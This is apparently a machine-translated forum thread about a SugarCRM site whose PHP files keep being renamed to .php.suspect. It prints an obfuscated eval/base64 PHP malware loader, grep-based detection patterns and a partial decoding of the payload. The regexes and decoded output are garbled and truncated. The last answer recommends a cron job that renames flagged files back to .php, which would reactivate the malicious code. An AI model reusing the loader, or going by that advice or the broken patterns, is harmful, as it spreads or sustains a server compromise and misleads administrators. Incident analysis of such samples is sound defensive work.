在过去的4天里，我们的生产服务器(AWS EC2实例)面临着一个奇怪的问题，这个问题只针对一个站点，即SugarCRM。
Issue is /home/site_folder/public_html/include/MassUpdate.php文件自动重命名为/home/site_folder/public_html/include/MassUpdate.php.suspect
这种情况每天发生2-3次，间隔3-4小时。这个问题只发生在特定站点的情况下，甚至不会发生在同一站点的暂存副本上。我甚至从两个站点检查了那个文件的代码，它是一样的。
我们已经谷歌和发现，这样的问题主要发生在Wordpress网站，这可能是因为攻击。但我们检查了我们的服务器，没有任何攻击。也没有病毒/恶意软件扫描在服务器上运行。
我们该怎么办?
更新:通过这个链接，我们发现了一些东西我们执行egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/，发现包含以下样例代码的文件很少。
<?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f');
eval(flnftovr($s, $koicev));?>
似乎是恶意软件，我们如何永久删除它?
谢谢
将.php文件重命名为.php.suspected的情况今天一直在发生。下面的命令不应该显示什么:
find <web site root> -name '*.suspected' -print
find <web site root> -name '.*.ico' -print
在我的例子中，可以使用以下命令找到受感染的文件:
cd <web site root>
egrep -Rl ''$GLOBALS.*''x'
egrep -Rl -Ezo '/'*('w+)'*/'s*@include's*[^;]+;'s*/'*'
egrep -Rl -E '^.+('$_COOKIE|'$_POST).+eval.+$'
我准备了一个更长的问题描述以及如何在GitHub上处理它。
有点模糊，但我已经去模糊了。函数flnftovr接受一个字符串和一个数组作为参数。它使用公式
创建一个新的字符串$ggyisset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];}
然后在字符串后面加上base64_decode。
字符串为$s，数组为$koicev。然后计算操作的结果。最终创建了一个字符串:
base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=)
那么在服务器上实际运行的是:
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if(isset($_SERVER)
encode(serialize($res));
}
如果你没有创建这个，你怀疑你的网站被黑客入侵了，我建议你清除服务器，并创建一个新的安装在你的服务器上运行的应用程序。
重命名php文件为php。嫌疑犯通常是由黑客的脚本故意和完成的。他们改变文件扩展名，给人的印象是文件被一些反恶意软件检查过，是安全的，不能执行。但事实并非如此。他们将扩展名更改为"php"，在他们想调用脚本之后，他们将扩展名更改回"suspect"。你可以在Securi Research Labs上阅读相关内容
也许这篇文章是旧的，但这个话题仍然存在。特别是根据2019年6月针对WordPress插件的恶意软件活动。我在客户端的WordPress子目录(例如wp-content)
贴出这个答案，可能对别人有帮助。
- 在方便的位置创建一个扩展名为'.sh'的文件。
- 添加如下代码
#Rename your_file_name.php.suspected to your_file_name.php
mv /<path_to_your_file>/your_file_name.php.suspected /<path_to_your_file>/your_file_name.php
*/10 * * * * path_to_cron_file.sh
你可以在Google上找到很多关于创建cron的文档